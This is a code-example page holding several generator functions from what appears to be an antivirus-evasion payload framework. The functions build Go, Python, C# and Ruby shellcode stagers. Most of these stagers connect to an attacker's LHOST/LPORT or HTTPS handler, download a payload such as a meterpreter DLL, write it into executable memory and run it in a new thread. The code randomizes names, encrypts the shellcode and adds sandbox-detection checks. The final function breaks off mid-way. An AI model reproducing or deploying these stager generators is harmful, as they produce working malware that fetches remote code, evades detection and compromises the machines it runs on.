        if self.required_options["USERNAME"][0].lower() != "x":
            payload_code += "\"strings\"\n\"os\"\n\"os/user\"\n"
        if self.required_options["HOSTNAME"][0].lower() != "x":
            if "strings" not in payload_code:
                payload_code += "\"strings\"\n"
            if "os" not in payload_code:
                payload_code += "\"os\"\n"

        payload_code += ")\n"

        if self.required_options["INJECT_METHOD"][0].lower() == "virtual":
            payload_code += "const (\n"
            payload_code += "%s  = 0x1000\n" % (memCommit)
            payload_code += "%s = 0x2000\n" % (memReserve)
            payload_code += "%s  = 0x40\n)\n" % (pageExecRW)

        payload_code += "var (\n"
        payload_code += "%s = \"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789-_\"\n" % (
            base64Url)

        if self.required_options["INJECT_METHOD"][0].lower() == "virtual":
            payload_code += "%s = syscall.NewLazyDLL(\"kernel32.dll\")\n" % (
                kernel32)
            payload_code += "%s = %s.NewProc(\"VirtualAlloc\")\n)\n" % (
                procVirtualAlloc, kernel32)
            payload_code += "func %s(%s uintptr) (uintptr, error) {\n" % (
                cust_func, size)
            payload_code += "%s, _, %s := %s.Call(0, %s, %s|%s, %s)\n" % (
                allocvarout, err, procVirtualAlloc, size, memReserve,
                memCommit, pageExecRW)
            payload_code += "if %s == 0 {\nreturn 0, %s\n}\nreturn %s, nil\n}\n" % (
                allocvarout, err, allocvarout)

        elif self.required_options["INJECT_METHOD"][0].lower() == "heap":
            payload_code += kernel32 + " = syscall.NewLazyDLL(\"kernel32.dll\")\n"
            payload_code += heapcreatevariable + " = " + kernel32 + ".NewProc(\"HeapCreate\")\n"
            payload_code += heapallocvariable + " = " + kernel32 + ".NewProc(\"HeapAlloc\")\n)\n"
            payload_code += "func %s(%s uintptr) (uintptr, error) {\n" % (
                cust_func, size)
            payload_code += heapcreateout + ", _, " + errorvariable + " := " + heapcreatevariable + ".Call(0x00040000, " + size + ", 0)\n"
            payload_code += allocvarout + ", _, " + errorvariabledos + " := " + heapallocvariable + ".Call(" + heapcreateout + ", 0x00000008, " + size + ")\n"
            payload_code += "if %s == 0 {\nreturn 0, %s\n}\nreturn %s, nil\n}\n" % (
                allocvarout, err, allocvarout)

        payload_code += "func %s(%s int, %s []byte) string {\n" % (randBase,
                                                                   length, foo)
        payload_code += "%s := rand.New(rand.NewSource(time.Now().UnixNano()))\n" % (
            random)
        payload_code += "var %s []byte\n" % (outp)
        payload_code += "for %s := 0; %s < %s; %s++ {\n" % (i, i, length, i)
        payload_code += "%s = append(%s, %s[%s.Intn(len(%s))])\n}\n" % (
            outp, outp, foo, random, foo)
        payload_code += "return string(%s)\n}\n" % (outp)

        payload_code += "func %s(%s int) string {\n" % (randTextBase64URL,
                                                        length)
        payload_code += "%s := []byte(%s)\n" % (foo, base64Url)
        payload_code += "return %s(%s, %s)\n}\n" % (randBase, length, foo)

        payload_code += "func %s(%s, %s int) string {\n" % (getURI, sumVar,
                                                            length)
        payload_code += "for {\n%s := 0\n%s := %s(%s)\n" % (
            checksum8, uri, randTextBase64URL, length)
        payload_code += "for _, %s := range []byte(%s) {\n%s += int(%s)\n}\n" % (
            value, uri, checksum8, value)
        payload_code += "if %s%s == %s {\nreturn \"/\" + %s\n}\n}\n}\n" % (
            checksum8, '%0x100', sumVar, uri)

        payload_code += "func main() {\n"
        # Sandbox code goes here
        if sandbox_checks != '':
            payload_code += sandbox_checks
        payload_code += "%s := &http.Transport{TLSClientConfig: &tls.Config{InsecureSkipVerify: true}}\n" % (
            tr)
        payload_code += "%s := http.Client{Transport: %s}\n" % (client, tr)
        payload_code += "%s := \"https://%s:%s\"\n" % (hostAndPort, host, port)
        payload_code += "%s, _ := %s.Get(%s + %s(92, %s))\n" % (
            response, client, hostAndPort, getURI, uriLength)
        payload_code += "defer %s.Body.Close()\n" % (response)
        payload_code += "%s, _ := ioutil.ReadAll(%s.Body)\n" % (payload,
                                                                response)
        payload_code += "%s, _ := %s(uintptr(len(%s)))\n" % (
            allocvarout, cust_func, payload)
        payload_code += "%s := (*[990000]byte)(unsafe.Pointer(%s))\n" % (
            bufferVar, allocvarout)
        payload_code += "for %s, %s := range %s {\n" % (x, value, payload)
        payload_code += "%s[%s] = %s\n}\n" % (bufferVar, x, value)
        payload_code += "syscall.Syscall(%s, 0, 0, 0, 0)\n}\n" % (allocvarout)
        payload_code += '}' * num_curlys

        self.payload_source_code = payload_code
        return
Exemplo n.º 16
0
    def generate(self):

        # Generate the variable names
        randctypes = evasion_helpers.randomString()
        ShellcodeVariableName = evasion_helpers.randomString()
        rand_ptr = evasion_helpers.randomString()
        rand_ht = evasion_helpers.randomString()
        RandDESPayload = evasion_helpers.randomString()
        RandEncShellCodePayload = evasion_helpers.randomString()
        rand_virtual_protect = evasion_helpers.randomString()

        # Generate the shellcode
        if not self.cli_shellcode:
            Shellcode = self.shellcode.generate(self.cli_opts)
            if self.shellcode.msfvenompayload:
                self.payload_type = self.shellcode.msfvenompayload
            elif self.shellcode.payload_choice:
                self.payload_type = self.shellcode.payload_choice
                self.shellcode.payload_choice = ''
            # assume custom shellcode
            else:
                self.payload_type = 'custom'
        else:
            Shellcode = self.cli_shellcode
        Shellcode = Shellcode.encode('latin-1')
        Shellcode = Shellcode.decode('unicode_escape')

        payload_code, num_tabs_required = gamemaker.senecas_games(self)

        # encrypt the shellcode and get our randomized key
        encoded_ciphertext, encryption_key, iv_value = encryption.des_encryption(
            Shellcode)
        encoded_ciphertext = encoded_ciphertext.decode('ascii')

        if self.required_options["INJECT_METHOD"][0].lower() == "virtual":

            # Create Payload File
            payload_code += '\t' * num_tabs_required + 'from Crypto.Cipher import DES\n'
            payload_code += '\t' * num_tabs_required + 'import base64\n'
            payload_code += '\t' * num_tabs_required + 'import ctypes as ' + randctypes + '\n'
            payload_code += '\t' * num_tabs_required + RandDESPayload + ' = DES.new(\'' + encryption_key + '\', DES.MODE_CBC, \'' + iv_value + '\')\n'
            payload_code += '\t' * num_tabs_required + RandEncShellCodePayload + ' = \'' + encoded_ciphertext + '\'\n'
            payload_code += '\t' * num_tabs_required + ShellcodeVariableName + ' = base64.b64decode(' + RandEncShellCodePayload + ')\n'
            payload_code += '\t' * num_tabs_required + ShellcodeVariableName + ' = ' + RandDESPayload + '.decrypt(' + ShellcodeVariableName + ')\n'
            payload_code += '\t' * num_tabs_required + randctypes + '.windll.kernel32.RtlMoveMemory(' + randctypes + '.c_int(' + rand_ptr + '),' + ShellcodeVariableName + ',' + randctypes + '.c_int(len(' + ShellcodeVariableName + ')))\n'
            payload_code += '\t' * num_tabs_required + rand_virtual_protect + ' = ' + randctypes + '.windll.kernel32.VirtualProtect(' + randctypes + '.c_int(' + rand_ptr + '),' + randctypes + '.c_int(len(' + ShellcodeVariableName + ')),' + randctypes + '.c_int(0x20),' + randctypes + '.byref(' + randctypes + '.c_uint32(0)))\n'
            payload_code += '\t' * num_tabs_required + rand_ht + ' = ' + randctypes + '.windll.kernel32.CreateThread(' + randctypes + '.c_int(0),' + randctypes + '.c_int(0),' + randctypes + '.c_int(' + rand_ptr + '),' + randctypes + '.c_int(0),' + randctypes + '.c_int(0),' + randctypes + '.pointer(' + randctypes + '.c_int(0)))\n'
            payload_code += '\t' * num_tabs_required + randctypes + '.windll.kernel32.WaitForSingleObject(' + randctypes + '.c_int(' + rand_ht + '),' + randctypes + '.c_int(-1))\n'

        elif self.required_options["INJECT_METHOD"][0].lower() == "heap":

            # Generate Random Variable Names
            HeapVar = evasion_helpers.randomString()

            # Create Payload File
            payload_code += '\t' * num_tabs_required + 'from Crypto.Cipher import DES\n'
            payload_code += '\t' * num_tabs_required + 'import base64\n'
            payload_code += '\t' * num_tabs_required + 'import ctypes as ' + randctypes + '\n'
            payload_code += '\t' * num_tabs_required + RandDESPayload + ' = DES.new(\'' + encryption_key + '\', DES.MODE_CBC, \'' + iv_value + '\')\n'
            payload_code += '\t' * num_tabs_required + RandEncShellCodePayload + ' = \'' + encoded_ciphertext + '\'\n'
            payload_code += '\t' * num_tabs_required + ShellcodeVariableName + ' = base64.b64decode(' + RandEncShellCodePayload + ')\n'
            payload_code += '\t' * num_tabs_required + ShellcodeVariableName + ' = ' + RandDESPayload + '.decrypt(' + ShellcodeVariableName + ')\n'
            payload_code += '\t' * num_tabs_required + HeapVar + ' = ' + randctypes + '.windll.kernel32.HeapCreate(' + randctypes + '.c_int(0x00040000),' + randctypes + '.c_int(len(' + ShellcodeVariableName + ') * 2),' + randctypes + '.c_int(0))\n'
            payload_code += '\t' * num_tabs_required + rand_ptr + ' = ' + randctypes + '.windll.kernel32.HeapAlloc(' + randctypes + '.c_int(' + HeapVar + '),' + randctypes + '.c_int(0x00000008),' + randctypes + '.c_int(len( ' + ShellcodeVariableName + ')))\n'
            payload_code += '\t' * num_tabs_required + randctypes + '.windll.kernel32.RtlMoveMemory(' + randctypes + '.c_int(' + rand_ptr + '),' + ShellcodeVariableName + ',' + randctypes + '.c_int(len(' + ShellcodeVariableName + ')))\n'
            payload_code += '\t' * num_tabs_required + rand_ht + ' = ' + randctypes + '.windll.kernel32.CreateThread(' + randctypes + '.c_int(0),' + randctypes + '.c_int(0),' + randctypes + '.c_int(' + rand_ptr + '),' + randctypes + '.c_int(0),' + randctypes + '.c_int(0),' + randctypes + '.pointer(' + randctypes + '.c_int(0)))\n'
            payload_code += '\t' * num_tabs_required + randctypes + '.windll.kernel32.WaitForSingleObject(' + randctypes + '.c_int(' + rand_ht + '),' + randctypes + '.c_int(-1))\n'

        if self.required_options["USE_PYHERION"][0].lower() == "y":
            payload_code = encryption.pyherion(payload_code)

        self.payload_source_code = payload_code
        return
Exemplo n.º 17
0
    def generate(self):

        # randomize all of the variable names used
        shellCodeName = evasion_helpers.randomString()
        socketName = evasion_helpers.randomString()
        getDataMethodName = evasion_helpers.randomString()
        fdBufName = evasion_helpers.randomString()
        rcvStringName = evasion_helpers.randomString()
        rcvCStringName = evasion_helpers.randomString()

        injectMethodName = evasion_helpers.randomString()
        tempShellcodeName = evasion_helpers.randomString()
        shellcodeBufName = evasion_helpers.randomString()
        fpName = evasion_helpers.randomString()
        tempCBuffer = evasion_helpers.randomString()
        randctypes = evasion_helpers.randomString()

        payload_code = "import struct, socket, binascii, ctypes as " + randctypes + ", random, time\n"

        # How I'm tracking the number of nested tabs needed
        # to make the payload
        num_tabs_required = 0

        payload_code2, num_tabs_required = gamemaker.senecas_games(self)
        payload_code = payload_code + payload_code2

        # socket and shellcode variables that need to be kept global
        payload_code += '\t' * num_tabs_required + "%s, %s = None, None\n" % (
            shellCodeName, socketName)

        # build the method that creates a socket, connects to the handler,
        # and downloads/patches the meterpreter .dll
        payload_code += '\t' * num_tabs_required + "def %s():\n" % (
            getDataMethodName)
        payload_code += '\t' * num_tabs_required + "\ttry:\n"
        payload_code += '\t' * num_tabs_required + "\t\tglobal %s\n" % (
            socketName)
        # build the socket and connect to the handler
        payload_code += '\t' * num_tabs_required + "\t\t%s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n" % (
            socketName)
        payload_code += '\t' * num_tabs_required + "\t\t%s.connect(('%s', %s))\n" % (
            socketName, self.required_options["LHOST"][0],
            self.required_options["LPORT"][0])
        # pack the underlying socket file descriptor into a c structure
        payload_code += '\t' * num_tabs_required + "\t\t%s = struct.pack('<i', %s.fileno())\n" % (
            fdBufName, socketName)
        # unpack the length of the payload, received as a 4 byte array from the handler
        payload_code += '\t' * num_tabs_required + "\t\tl = struct.unpack('<i', %s.recv(4))[0]\n" % (
            socketName)
        payload_code += '\t' * num_tabs_required + "\t\t%s = b\"     \"\n" % (
            rcvStringName)
        # receive ALL of the payload .dll data
        payload_code += '\t' * num_tabs_required + "\t\twhile len(%s) < l: %s += %s.recv(l)\n" % (
            rcvStringName, rcvStringName, socketName)
        payload_code += '\t' * num_tabs_required + "\t\t" + rcvCStringName + " = " + randctypes + ".create_string_buffer(%s, len(%s))\n" % (
            rcvStringName, rcvStringName)
        # prepend a little assembly magic to push the socket fd into the edi register
        payload_code += '\t' * num_tabs_required + "\t\t%s[0] = binascii.unhexlify('BF')\n" % (
            rcvCStringName)
        # copy the socket fd in
        payload_code += '\t' * num_tabs_required + "\t\tfor i in range(4): %s[i+1] = %s[i]\n" % (
            rcvCStringName, fdBufName)
        payload_code += '\t' * num_tabs_required + "\t\treturn %s\n" % (
            rcvCStringName)
        payload_code += '\t' * num_tabs_required + "\texcept: return None\n"

        # build the method that injects the .dll into memory
        payload_code += '\t' * num_tabs_required + "def %s(%s):\n" % (
            injectMethodName, tempShellcodeName)
        payload_code += '\t' * num_tabs_required + "\tif %s != None:\n" % (
            tempShellcodeName)
        payload_code += '\t' * num_tabs_required + "\t\t%s = bytearray(%s)\n" % (
            shellcodeBufName, tempShellcodeName)

        if self.required_options["INJECT_METHOD"][0].lower() == "virtual":
            # allocate enough virtual memory to stuff the .dll in
            payload_code += "\t\t" + fpName + " = " + randctypes + ".windll.kernel32.VirtualAlloc(" + randctypes + ".c_int(0)," + randctypes + ".c_int(len(" + shellcodeBufName + "))," + randctypes + ".c_int(0x3000)," + randctypes + ".c_int(0x40))\n"
            # virtual lock to prevent the memory from paging out to disk
            payload_code += "\t\t" + tempCBuffer + " = (" + randctypes + ".c_char * len(" + shellcodeBufName + ")).from_buffer(" + shellcodeBufName + ")\n"
            # copy the .dll into the allocated memory
            payload_code += "\t\t" + randctypes + ".windll.kernel32.RtlMoveMemory(" + randctypes + ".c_int(" + fpName + "), " + tempCBuffer + ", " + randctypes + ".c_int(len(" + shellcodeBufName + ")))\n"
            # kick the thread off to execute the .dll
            payload_code += "\t\tht = " + randctypes + ".windll.kernel32.CreateThread(" + randctypes + ".c_int(0)," + randctypes + ".c_int(0)," + randctypes + ".c_int(" + fpName + ")," + randctypes + ".c_int(0)," + randctypes + ".c_int(0)," + randctypes + ".pointer(" + randctypes + ".c_int(0)))\n"
            # wait for the .dll execution to finish
            payload_code += "\t\t" + randctypes + ".windll.kernel32.WaitForSingleObject(" + randctypes + ".c_int(ht)," + randctypes + ".c_int(-1))\n"

        # Assume HEAP Injection
        else:
            HeapVar = evasion_helpers.randomString()
            handleName = evasion_helpers.randomString()

            payload_code += '\t' * num_tabs_required + "\t\t" + HeapVar + ' = ' + randctypes + '.windll.kernel32.HeapCreate(' + randctypes + '.c_int(0x00040000),' + randctypes + '.c_int(len(' + shellcodeBufName + ') * 2),' + randctypes + '.c_int(0))\n'
            payload_code += '\t' * num_tabs_required + "\t\t" + fpName + ' = ' + randctypes + '.windll.kernel32.HeapAlloc(' + randctypes + '.c_int(' + HeapVar + '),' + randctypes + '.c_int(0x00000008),' + randctypes + '.c_int(len( ' + shellcodeBufName + ')))\n'
            payload_code += '\t' * num_tabs_required + "\t\t" + tempCBuffer + ' = (' + randctypes + '.c_char * len(' + shellcodeBufName + ')).from_buffer(' + shellcodeBufName + ')\n'
            payload_code += '\t' * num_tabs_required + "\t\t" + randctypes + '.windll.kernel32.RtlMoveMemory(' + randctypes + '.c_int(' + fpName + '),' + tempCBuffer + ',' + randctypes + '.c_int(len(' + shellcodeBufName + ')))\n'
            payload_code += '\t' * num_tabs_required + "\t\t" + handleName + ' = ' + randctypes + '.windll.kernel32.CreateThread(' + randctypes + '.c_int(0),' + randctypes + '.c_int(0),' + randctypes + '.c_int(' + fpName + '),' + randctypes + '.c_int(0),' + randctypes + '.c_int(0),' + randctypes + '.pointer(' + randctypes + '.c_int(0)))\n'
            payload_code += '\t' * num_tabs_required + "\t\t" + randctypes + '.windll.kernel32.WaitForSingleObject(' + randctypes + '.c_int(' + handleName + '),' + randctypes + '.c_int(-1))\n'

        # download the stager
        payload_code += '\t' * num_tabs_required + "%s = %s()\n" % (
            shellCodeName, getDataMethodName)
        # inject what we grabbed
        payload_code += '\t' * num_tabs_required + "%s(%s)\n" % (
            injectMethodName, shellCodeName)

        if self.required_options["USE_PYHERION"][0].lower() == "y":
            payload_code = encryption.pyherion(payload_code)

        self.payload_source_code = payload_code
        return
Exemplo n.º 18
0
    def generate(self):

        # randomly generate out variable names
        memCommit = evasion_helpers.randomString()
        memReserve = evasion_helpers.randomString()
        pageExecRW = evasion_helpers.randomString()
        kernel32 = evasion_helpers.randomString()
        procVirtualAlloc = evasion_helpers.randomString()
        cust_func = evasion_helpers.randomString()
        size = evasion_helpers.randomString()
        addr = evasion_helpers.randomString()
        err = evasion_helpers.randomString()
        shellcode_variable = evasion_helpers.randomString()
        buff = evasion_helpers.randomString()
        value = evasion_helpers.randomString()
        heapcreatevariable = evasion_helpers.randomString()
        heapallocvariable = evasion_helpers.randomString()
        heapcreateout = evasion_helpers.randomString()
        errorvariable = evasion_helpers.randomString()
        heapallocout = evasion_helpers.randomString()
        rand_var = evasion_helpers.randomString()
        procVirtualProtect = evasion_helpers.randomString()
        proc_out = evasion_helpers.randomString()
        vprotectendvar = evasion_helpers.randomString()

        # Generate the shellcode
        if not self.cli_shellcode:
            Shellcode = self.shellcode.generate(self.cli_opts)
            if self.shellcode.msfvenompayload:
                self.payload_type = self.shellcode.msfvenompayload
            elif self.shellcode.payload_choice:
                self.payload_type = self.shellcode.payload_choice
                self.shellcode.payload_choice = ''
            # assume custom shellcode
            else:
                self.payload_type = 'custom'
        else:
            Shellcode = self.cli_shellcode

        # sandbox check code
        sandbox_checks, num_curlys = gamemaker.senecas_games(self)

        payload_code = "package main\nimport (\n\"syscall\"\n\"unsafe\"\n\"fmt\"\n\"os\"\n"
        if self.required_options["PROCESSORS"][0].lower() != "x":
            payload_code += "\"runtime\"\n"

        # Add in other imports based on checks being performed
        if self.required_options["USERNAME"][0].lower() != "x":
            payload_code += "\"strings\"\n\"os/user\"\n"
        if self.required_options["HOSTNAME"][0].lower(
        ) != "x" or self.required_options["PROCCHECK"][0].lower() != 'false':
            if "strings" not in payload_code:
                payload_code += "\"strings\"\n"
        if self.required_options["SLEEP"][0].lower() != "x":
            payload_code += "\"net\"\n\"time\"\n\"encoding/binary\"\n"
        if self.required_options["BADMACS"][0].lower() != 'false':
            if "net" not in payload_code:
                payload_code += "\"net\"\n"
            if "strings" not in payload_code:
                payload_code += "\"strings\"\n"
        if self.required_options["UTCCHECK"][0].lower() != 'false':
            if "time" not in payload_code:
                payload_code += "\"time\"\n"
        if self.required_options["CURSORCHECK"][0].lower() != 'false':
            if "time" not in payload_code:
                payload_code += "\"time\"\n"

        payload_code += ")\n"

        # Changes based on injection type
        if self.required_options["INJECT_METHOD"][0].lower() == "virtual":
            payload_code += "const (\n"
            payload_code += "%s  = 0x1000\n" % (memCommit)
            payload_code += "%s = 0x2000\n" % (memReserve)
            payload_code += "%s  = 0x04\n)\n" % (pageExecRW)

        payload_code += "var (\n"

        # injection type
        if self.required_options["INJECT_METHOD"][0].lower() == "virtual":
            payload_code += "%s = 0\n" % (proc_out)
            payload_code += "%s = syscall.NewLazyDLL(\"kernel32.dll\")\n" % (
                kernel32)
            payload_code += "%s = %s.NewProc(\"VirtualAlloc\")\n" % (
                procVirtualAlloc, kernel32)
            payload_code += "%s = %s.NewProc(\"VirtualProtect\")\n)\n" % (
                procVirtualProtect, kernel32)
            payload_code += "func %s(%s uintptr) (uintptr, error) {\n" % (
                cust_func, size)
            payload_code += "%s, _, %s := %s.Call(0, %s, %s|%s, %s)\n" % (
                addr, err, procVirtualAlloc, size, memReserve, memCommit,
                pageExecRW)
            payload_code += "if %s == 0 {\nreturn 0, %s\n}\nreturn %s, nil\n}\n" % (
                addr, err, addr)

        elif self.required_options["INJECT_METHOD"][0].lower() == "heap":
            payload_code += kernel32 + " = syscall.NewLazyDLL(\"kernel32.dll\")\n"
            payload_code += heapcreatevariable + " = " + kernel32 + ".NewProc(\"HeapCreate\")\n"
            payload_code += heapallocvariable + " = " + kernel32 + ".NewProc(\"HeapAlloc\")\n)\n"
            payload_code += "func %s(%s uintptr) (uintptr, error) {\n" % (
                cust_func, size)
            payload_code += heapcreateout + ", _, " + errorvariable + " := " + heapcreatevariable + ".Call(0x00040000, " + size + ", 0)\n"
            payload_code += heapallocout + ", _, _ := " + heapallocvariable + ".Call(" + heapcreateout + ", 0x00000008, " + size + ")\n"
            payload_code += "if %s == 0 {\nreturn 0, %s\n}\nreturn %s, nil\n}\n" % (
                heapallocout, errorvariable, heapallocout)

        payload_code += "var %s string = \"%s\"\n" % (shellcode_variable,
                                                      Shellcode)
        payload_code += "func main() {\n"
        # Sandbox code goes here
        if sandbox_checks != '':
            payload_code += sandbox_checks

        if self.required_options["INJECT_METHOD"][0].lower() == "virtual":
            payload_code += "%s, %s := %s(uintptr(len(%s)))\n" % (
                addr, err, cust_func, shellcode_variable)
        elif self.required_options["INJECT_METHOD"][0].lower() == "heap":
            payload_code += "%s, %s := %s(uintptr(len(%s)))\n" % (
                heapallocout, err, cust_func, shellcode_variable)

        payload_code += "if %s != nil {\nfmt.Println(%s)\nos.Exit(1)\n}\n" % (
            err, err)
        if self.required_options["INJECT_METHOD"][0].lower() == "virtual":
            payload_code += "%s := (*[890000]byte)(unsafe.Pointer(%s))\n" % (
                buff, addr)
            payload_code += "var %s uintptr\n" % (proc_out)
            payload_code += "var %s uintptr\n" % (vprotectendvar)
            payload_code += "for " + rand_var + ", %s := range []byte(%s) {\n" % (
                value, shellcode_variable)
            payload_code += buff + "[" + rand_var + "] = %s\n}\n" % (value)
            payload_code += "%s, _, %s = %s.Call(%s, uintptr(len(%s)), 0x20, uintptr(unsafe.Pointer(&%s)))\n" % (
                proc_out, err, procVirtualProtect, addr, shellcode_variable,
                vprotectendvar)
            payload_code += "if %s == 0 {\nos.Exit(1)\n}\n" % (proc_out)
        elif self.required_options["INJECT_METHOD"][0].lower() == "heap":
            payload_code += "%s := (*[890000]byte)(unsafe.Pointer(%s))\n" % (
                buff, heapallocout)
            payload_code += "for " + rand_var + ", %s := range []byte(%s) {\n" % (
                value, shellcode_variable)
            payload_code += buff + "[" + rand_var + "] = %s\n}\n" % (value)
        if self.required_options["INJECT_METHOD"][0].lower() == "virtual":
            payload_code += "syscall.Syscall(%s, 0, 0, 0, 0)\n}\n" % (addr)
        elif self.required_options["INJECT_METHOD"][0].lower() == "heap":
            payload_code += "syscall.Syscall(%s, 0, 0, 0, 0)\n}\n" % (
                heapallocout)

        payload_code += '}' * num_curlys
        self.payload_source_code = payload_code
        return
Exemplo n.º 19
0
    def generate(self):

        getDataName = helpers.randomString()
        injectName = helpers.randomString()

        payload_code = "using System; using System.Net; using System.Net.Sockets; using System.Runtime.InteropServices; using System.Threading;\n"
        payload_code += "namespace %s { class %s {\n" % (
            helpers.randomString(), helpers.randomString())

        hostName = helpers.randomString()
        portName = helpers.randomString()
        ipName = helpers.randomString()
        sockName = helpers.randomString()
        length_rawName = helpers.randomString()
        lengthName = helpers.randomString()
        sName = helpers.randomString()
        total_bytesName = helpers.randomString()
        handleName = helpers.randomString()

        payload_code += "static byte[] %s(string %s, int %s) {\n" % (
            getDataName, hostName, portName)
        payload_code += "    IPEndPoint %s = new IPEndPoint(IPAddress.Parse(%s), %s);\n" % (
            ipName, hostName, portName)
        payload_code += "    Socket %s = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp);\n" % (
            sockName)
        payload_code += "    try { %s.Connect(%s); }\n" % (sockName, ipName)
        payload_code += "    catch { return null;}\n"
        payload_code += "    byte[] %s = new byte[4];\n" % (length_rawName)
        payload_code += "    %s.Receive(%s, 4, 0);\n" % (sockName,
                                                         length_rawName)
        payload_code += "    int %s = BitConverter.ToInt32(%s, 0);\n" % (
            lengthName, length_rawName)
        payload_code += "    byte[] %s = new byte[%s + 5];\n" % (sName,
                                                                 lengthName)
        payload_code += "    int %s = 0;\n" % (total_bytesName)
        payload_code += "    while (%s < %s)\n" % (total_bytesName, lengthName)
        payload_code += "    { %s += %s.Receive(%s, %s + 5, (%s - %s) < 4096 ? (%s - %s) : 4096, 0);}\n" % (
            total_bytesName, sockName, sName, total_bytesName, lengthName,
            total_bytesName, lengthName, total_bytesName)
        payload_code += "    byte[] %s = BitConverter.GetBytes((int)%s.Handle);\n" % (
            handleName, sockName)
        payload_code += "    Array.Copy(%s, 0, %s, 1, 4); %s[0] = 0xBF;\n" % (
            handleName, sName, sName)
        payload_code += "    return %s;}\n" % (sName)

        sName = helpers.randomString()
        funcAddrName = helpers.randomString()
        hThreadName = helpers.randomString()
        threadIdName = helpers.randomString()
        pinfoName = helpers.randomString()

        if self.required_options["INJECT_METHOD"][0].lower() == "virtual":
            payload_code += "static void %s(byte[] %s) {\n" % (injectName,
                                                               sName)
            payload_code += "    if (%s != null) {\n" % (sName)
            payload_code += "        UInt32 %s = VirtualAlloc(0, (UInt32)%s.Length, 0x1000, 0x40);\n" % (
                funcAddrName, sName)
            payload_code += "        Marshal.Copy(%s, 0, (IntPtr)(%s), %s.Length);\n" % (
                sName, funcAddrName, sName)
            payload_code += "        IntPtr %s = IntPtr.Zero;\n" % (
                hThreadName)
            payload_code += "        UInt32 %s = 0;\n" % (threadIdName)
            payload_code += "        IntPtr %s = IntPtr.Zero;\n" % (pinfoName)
            payload_code += "        %s = CreateThread(0, 0, %s, %s, 0, ref %s);\n" % (
                hThreadName, funcAddrName, pinfoName, threadIdName)
            payload_code += "        WaitForSingleObject(%s, 0xFFFFFFFF); }}\n" % (
                hThreadName)

        elif self.required_options["INJECT_METHOD"][0].lower() == "heap":

            payload_code += "static void %s(byte[] %s) {\n" % (injectName,
                                                               sName)
            payload_code += "    if (%s != null) {\n" % (sName)
            payload_code += '       UInt32 {} = HeapCreate(0x00040000, (UInt32){}.Length, 0);\n'.format(
                pinfoName, sName)
            payload_code += '       UInt32 {} = HeapAlloc({}, 0x00000008, (UInt32){}.Length);\n'.format(
                funcAddrName, pinfoName, sName)
            payload_code += '       RtlMoveMemory({}, {}, (UInt32){}.Length);\n'.format(
                funcAddrName, sName, sName)
            payload_code += '       UInt32 {} = 0;\n'.format(threadIdName)
            payload_code += '       IntPtr {} = CreateThread(0, 0, {}, IntPtr.Zero, 0, ref {});\n'.format(
                hThreadName, funcAddrName, threadIdName)
            payload_code += '       WaitForSingleObject({}, 0xFFFFFFFF);}}}}\n'.format(
                hThreadName)

        sName = helpers.randomString()
        curlyCount = 0
        payload_code += "static void Main(){\n"

        payload_code2, curlyCount = gamemaker.senecas_games(self)
        payload_code = payload_code + payload_code2

        payload_code += "    byte[] %s = null; %s = %s(\"%s\", %s);\n" % (
            sName, sName, getDataName, self.required_options["LHOST"][0],
            self.required_options["LPORT"][0])
        payload_code += "    %s(%s); }\n" % (injectName, sName)

        while (curlyCount != 0):
            payload_code += '\t' * curlyCount + '}'
            curlyCount -= 1

        # get 12 random variables for the API imports
        r = [helpers.randomString() for x in range(12)]
        y = [helpers.randomString() for x in range(17)]
        if self.required_options["INJECT_METHOD"][0].lower() == "virtual":
            payload_code += """\t\t[DllImport(\"kernel32\")] private static extern UInt32 VirtualAlloc(UInt32 %s,UInt32 %s, UInt32 %s, UInt32 %s);\n[DllImport(\"kernel32\")]private static extern IntPtr CreateThread(UInt32 %s, UInt32 %s, UInt32 %s,IntPtr %s, UInt32 %s, ref UInt32 %s);\n[DllImport(\"kernel32\")] private static extern UInt32 WaitForSingleObject(IntPtr %s, UInt32 %s);}}\n""" % (
                r[0], r[1], r[2], r[3], r[4], r[5], r[6], r[7], r[8], r[9],
                r[10], r[11])
        elif self.required_options["INJECT_METHOD"][0].lower() == "heap":
            payload_code += """\t\t[DllImport(\"kernel32\")] private static extern UInt32 HeapCreate(UInt32 %s, UInt32 %s, UInt32 %s); \n[DllImport(\"kernel32\")] private static extern UInt32 HeapAlloc(UInt32 %s, UInt32 %s, UInt32 %s);\n[DllImport(\"kernel32\")] private static extern UInt32 RtlMoveMemory(UInt32 %s, byte[] %s, UInt32 %s);\n[DllImport(\"kernel32\")] private static extern IntPtr CreateThread(UInt32 %s, UInt32 %s, UInt32 %s, IntPtr %s, UInt32 %s, ref UInt32 %s);\n[DllImport(\"kernel32\")] private static extern UInt32 WaitForSingleObject(IntPtr %s, UInt32 %s);}}\n""" % (
                y[0], y[1], y[2], y[3], y[4], y[5], y[6], y[7], y[8], y[9],
                y[10], y[11], y[12], y[13], y[14], y[15], y[16])

        if self.required_options["USE_ARYA"][0].lower() == "y":
            payload_code = encryption.arya(payload_code)

        self.payload_source_code = payload_code
        return
Exemplo n.º 20
0
    def generate(self):
        payload_code = ''

        payload_code = "require 'rubygems';require 'uri';require 'win32/api';require 'net/https';require 'openssl';include Win32\n"
        # Add logic for adding this line, stupid bug and I have no idea
        # why this is even a problem, but ruby is dumb
        if self.required_options["HOSTNAME"][0] != "X" or self.required_options[
                "DOMAIN"][0] != "X" or self.required_options["USERNAME"][
                    0] != "X" or self.required_options["SLEEP"][0] != "X":
            pass
        else:
            payload_code += "exit if Object.const_defined?(:Ocra)\n"

        if self.required_options["HOSTNAME"][
                0] != "X" or self.required_options["DOMAIN"][0] != "X":
            payload_code += 'require \'socket\'\n'

        payload_code2, num_ends_required = gamemaker.senecas_games(self)
        payload_code = payload_code + payload_code2

        # randomly generate out variable names
        ptrName = evasion_helpers.randomString()
        threadName = evasion_helpers.randomString()
        heap_name = evasion_helpers.randomString()
        valloc_random = evasion_helpers.randomString()
        rtlmove_random = evasion_helpers.randomString()
        createthread_random = evasion_helpers.randomString()
        waitfor_random = evasion_helpers.randomString()
        heapcreate_random = evasion_helpers.randomString()
        heapalloc_random = evasion_helpers.randomString()

        if self.required_options["INJECT_METHOD"][0].lower() == "virtual":
